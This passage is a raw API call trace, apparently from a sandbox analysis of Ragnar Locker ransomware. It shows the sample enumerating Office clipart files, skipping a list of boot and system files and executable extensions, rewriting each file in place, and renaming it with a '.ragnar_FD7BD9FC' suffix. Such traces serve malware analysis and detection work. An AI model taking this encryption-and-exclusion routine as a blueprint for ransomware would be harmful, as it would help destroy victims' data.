[0085.257] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.258] VirtualAlloc (lpAddress=0x0, dwSize=0xb12e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.258] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.258] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.258] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xb12e, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xb12e, lpOverlapped=0x0) returned 1 [0085.260] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.260] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb12e, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.260] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xb12e, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xb12e, lpOverlapped=0x0) returned 1 [0085.261] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb12e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.261] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.261] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xb12e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.261] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.261] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.261] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.261] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.261] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.262] GetProcessHeap () returned 0x580000 [0085.262] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.262] CloseHandle (hObject=0xf4) returned 1 [0085.262] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG" [0085.262] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG.ragnar_FD7BD9FC" [0085.262] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177257.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177257.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.262] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd902, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0177806.JPG", cAlternateFileName="")) returned 1 [0085.262] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.262] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0177806.JPG" | out: lpString1="J0177806.JPG") returned="J0177806.JPG" [0085.262] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG") returned=".JPG" [0085.262] lstrcmpiW (lpString1="J0177806.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.263] lstrcmpiW (lpString1="J0177806.JPG", lpString2="autorun.inf") returned 1 [0085.263] lstrcmpiW (lpString1="J0177806.JPG", lpString2="boot.ini") returned 1 [0085.263] lstrcmpiW (lpString1="J0177806.JPG", lpString2="bootfont.bin") returned 1 [0085.263] lstrcmpiW (lpString1="J0177806.JPG", lpString2="bootsect.bak") returned 1 [0085.263] lstrcmpiW (lpString1="J0177806.JPG", lpString2="bootmgr") returned 1 [0085.263] lstrcmpiW (lpString1="J0177806.JPG", lpString2="bootmgr.efi") returned 1 [0085.263] lstrcmpiW (lpString1="J0177806.JPG", lpString2="bootmgfw.efi") returned 1 [0085.263] lstrcmpiW (lpString1="J0177806.JPG", lpString2="desktop.ini") returned 1 [0085.263] lstrcmpiW (lpString1="J0177806.JPG", lpString2="iconcache.db") returned 1 [0085.263] lstrcmpiW (lpString1="J0177806.JPG", lpString2="ntldr") returned -1 [0085.263] lstrcmpiW (lpString1="J0177806.JPG", lpString2="ntuser.dat") returned -1 [0085.263] lstrcmpiW (lpString1="J0177806.JPG", lpString2="ntuser.dat.log") returned -1 [0085.263] lstrcmpiW (lpString1="J0177806.JPG", lpString2="ntuser.ini") returned -1 [0085.263] lstrcmpiW (lpString1="J0177806.JPG", lpString2="thumbs.db") returned -1 [0085.263] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0085.263] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0085.263] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0085.263] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0085.263] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0085.263] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0085.263] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0085.263] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177806.jpg")) returned 0x20 [0085.264] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177806.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.264] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=55554) returned 1 [0085.264] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xd8f9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.264] GetProcessHeap () returned 0x580000 [0085.264] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.264] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.266] VirtualAlloc (lpAddress=0x0, dwSize=0xd902, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.266] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.266] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.266] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xd902, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xd902, lpOverlapped=0x0) returned 1 [0085.268] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.268] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xd902, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.268] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xd902, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xd902, lpOverlapped=0x0) returned 1 [0085.268] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xd902, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.268] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.269] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xd902, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.269] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.269] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.269] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.269] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.269] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.269] GetProcessHeap () returned 0x580000 [0085.269] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.269] CloseHandle (hObject=0xf4) returned 1 [0085.269] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG" [0085.269] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG.ragnar_FD7BD9FC" [0085.269] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177806.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177806.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.270] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x907d, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0178348.JPG", cAlternateFileName="")) returned 1 [0085.270] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.270] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0178348.JPG" | out: lpString1="J0178348.JPG") returned="J0178348.JPG" [0085.270] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG") returned=".JPG" [0085.270] lstrcmpiW (lpString1="J0178348.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.270] lstrcmpiW (lpString1="J0178348.JPG", lpString2="autorun.inf") returned 1 [0085.270] lstrcmpiW (lpString1="J0178348.JPG", lpString2="boot.ini") returned 1 [0085.270] lstrcmpiW (lpString1="J0178348.JPG", lpString2="bootfont.bin") returned 1 [0085.270] lstrcmpiW (lpString1="J0178348.JPG", lpString2="bootsect.bak") returned 1 [0085.270] lstrcmpiW (lpString1="J0178348.JPG", lpString2="bootmgr") returned 1 [0085.270] lstrcmpiW (lpString1="J0178348.JPG", lpString2="bootmgr.efi") returned 1 [0085.270] lstrcmpiW (lpString1="J0178348.JPG", lpString2="bootmgfw.efi") returned 1 [0085.270] lstrcmpiW (lpString1="J0178348.JPG", lpString2="desktop.ini") returned 1 [0085.270] lstrcmpiW (lpString1="J0178348.JPG", lpString2="iconcache.db") returned 1 [0085.270] lstrcmpiW (lpString1="J0178348.JPG", lpString2="ntldr") returned -1 [0085.270] lstrcmpiW (lpString1="J0178348.JPG", lpString2="ntuser.dat") returned -1 [0085.270] lstrcmpiW (lpString1="J0178348.JPG", lpString2="ntuser.dat.log") returned -1 [0085.270] lstrcmpiW (lpString1="J0178348.JPG", lpString2="ntuser.ini") returned -1 [0085.270] lstrcmpiW (lpString1="J0178348.JPG", lpString2="thumbs.db") returned -1 [0085.270] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0085.270] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0085.270] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0085.270] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0085.271] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0085.271] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0085.271] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0085.271] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178348.jpg")) returned 0x20 [0085.271] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178348.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.271] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=36989) returned 1 [0085.271] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x9074, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.271] GetProcessHeap () returned 0x580000 [0085.271] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.271] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.273] VirtualAlloc (lpAddress=0x0, dwSize=0x907d, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.273] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.273] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.273] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x907d, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x907d, lpOverlapped=0x0) returned 1 [0085.274] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.275] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x907d, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.275] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x907d, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x907d, lpOverlapped=0x0) returned 1 [0085.275] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x907d, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.275] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.275] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x907d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.275] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.275] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.275] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.275] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.276] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.276] GetProcessHeap () returned 0x580000 [0085.276] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.276] CloseHandle (hObject=0xf4) returned 1 [0085.276] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG" [0085.276] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG.ragnar_FD7BD9FC" [0085.276] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178348.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178348.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.276] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7214, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0178459.JPG", cAlternateFileName="")) returned 1 [0085.276] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.276] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0178459.JPG" | out: lpString1="J0178459.JPG") returned="J0178459.JPG" [0085.276] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG") returned=".JPG" [0085.277] lstrcmpiW (lpString1="J0178459.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.277] lstrcmpiW (lpString1="J0178459.JPG", lpString2="autorun.inf") returned 1 [0085.277] lstrcmpiW (lpString1="J0178459.JPG", lpString2="boot.ini") returned 1 [0085.277] lstrcmpiW (lpString1="J0178459.JPG", lpString2="bootfont.bin") returned 1 [0085.277] lstrcmpiW (lpString1="J0178459.JPG", lpString2="bootsect.bak") returned 1 [0085.277] lstrcmpiW (lpString1="J0178459.JPG", lpString2="bootmgr") returned 1 [0085.277] lstrcmpiW (lpString1="J0178459.JPG", lpString2="bootmgr.efi") returned 1 [0085.277] lstrcmpiW (lpString1="J0178459.JPG", lpString2="bootmgfw.efi") returned 1 [0085.277] lstrcmpiW (lpString1="J0178459.JPG", lpString2="desktop.ini") returned 1 [0085.277] lstrcmpiW (lpString1="J0178459.JPG", lpString2="iconcache.db") returned 1 [0085.277] lstrcmpiW (lpString1="J0178459.JPG", lpString2="ntldr") returned -1 [0085.277] lstrcmpiW (lpString1="J0178459.JPG", lpString2="ntuser.dat") returned -1 [0085.277] lstrcmpiW (lpString1="J0178459.JPG", lpString2="ntuser.dat.log") returned -1 [0085.277] lstrcmpiW (lpString1="J0178459.JPG", lpString2="ntuser.ini") returned -1 [0085.277] lstrcmpiW (lpString1="J0178459.JPG", lpString2="thumbs.db") returned -1 [0085.277] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0085.277] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0085.277] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0085.277] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0085.277] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0085.277] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0085.277] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0085.277] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178459.jpg")) returned 0x20 [0085.277] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178459.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.278] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=29204) returned 1 [0085.278] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x720b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.278] GetProcessHeap () returned 0x580000 [0085.278] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.278] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.279] VirtualAlloc (lpAddress=0x0, dwSize=0x7214, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.279] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.279] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.279] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7214, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x7214, lpOverlapped=0x0) returned 1 [0085.281] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, 